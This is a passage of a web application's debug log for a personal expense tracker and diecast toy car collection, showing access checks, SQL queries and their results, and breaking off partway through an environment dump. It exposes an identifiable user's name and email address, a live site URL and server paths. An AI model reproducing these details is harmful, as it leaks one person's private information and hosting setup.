    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T06:46:33.981Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T06:46:33.982Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:46:33.983Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:46:33.983Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:46:33.984Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T06:46:33.985Z server-connect:app Executing action step identify
2026-02-04T06:46:33.985Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:33.985Z server-connect:output identity: 1
2026-02-04T06:46:33.985Z server-connect:app Executing action step restrict
2026-02-04T06:46:33.986Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:33.986Z server-connect:app Executing action step identify
2026-02-04T06:46:33.986Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:33.986Z server-connect:output identity: 1
2026-02-04T06:46:33.986Z server-connect:app Executing action step restrict
2026-02-04T06:46:33.986Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:33.986Z server-connect:app Executing action step identify
2026-02-04T06:46:33.986Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:33.986Z server-connect:output identity: 1
2026-02-04T06:46:33.986Z server-connect:app Executing action step restrict
2026-02-04T06:46:33.986Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:33.986Z server-connect:app Executing action step identify
2026-02-04T06:46:33.986Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:33.986Z server-connect:output identity: 1
2026-02-04T06:46:33.986Z server-connect:app Executing action step restrict
2026-02-04T06:46:33.986Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:33.987Z server-connect:output restrict: undefined
2026-02-04T06:46:33.987Z server-connect:app Executing action step select
2026-02-04T06:46:33.987Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:46:33.987Z server-connect:output restrict: undefined
2026-02-04T06:46:33.987Z server-connect:app Executing action step paged
2026-02-04T06:46:33.987Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:46:33.988Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T06:46:33.988Z server-connect:output restrict: undefined
2026-02-04T06:46:33.988Z server-connect:app Executing action step select
2026-02-04T06:46:33.988Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:46:33.988Z server-connect:output restrict: undefined
2026-02-04T06:46:33.988Z server-connect:app Executing action step select
2026-02-04T06:46:33.988Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T06:46:33.989Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T06:46:33.990Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T06:46:33.991Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T06:46:33.992Z server-connect:app Executing action step identify
2026-02-04T06:46:33.992Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:33.992Z server-connect:output identity: 1
2026-02-04T06:46:33.992Z server-connect:app Executing action step restrict
2026-02-04T06:46:33.992Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:46:33.993Z server-connect:output restrict: undefined
2026-02-04T06:46:33.993Z server-connect:app Executing action step select
2026-02-04T06:46:33.993Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:46:33.995Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 30,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 70,
      model_name: '1963 Ford Thunderbird',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:46:33.996Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T06:46:33.996Z server-connect:app Executing action step select
2026-02-04T06:46:33.996Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:46:33.997Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T06:46:33.997Z server-connect:app Executing action step select
2026-02-04T06:46:33.997Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:46:33.998Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T06:46:34.247Z server-connect:router Serving templateView /
2026-02-04T06:46:34.247Z server-connect:app Executing action step identify
2026-02-04T06:46:34.247Z server-connect:app options: { provider: 'security' }
2026-02-04T06:46:34.247Z server-connect:output identity: 1
2026-02-04T06:46:34.247Z server-connect:app Executing action step restrict
2026-02-04T06:46:34.247Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:46:34.248Z server-connect:output restrict: undefined
2026-02-04T06:46:34.248Z server-connect:app Executing action step restrict
2026-02-04T06:46:34.248Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:46:34.248Z server-connect:output restrict: undefined
2026-02-04T06:46:34.248Z server-connect:router Render template layouts/main
2026-02-04T06:46:34.248Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
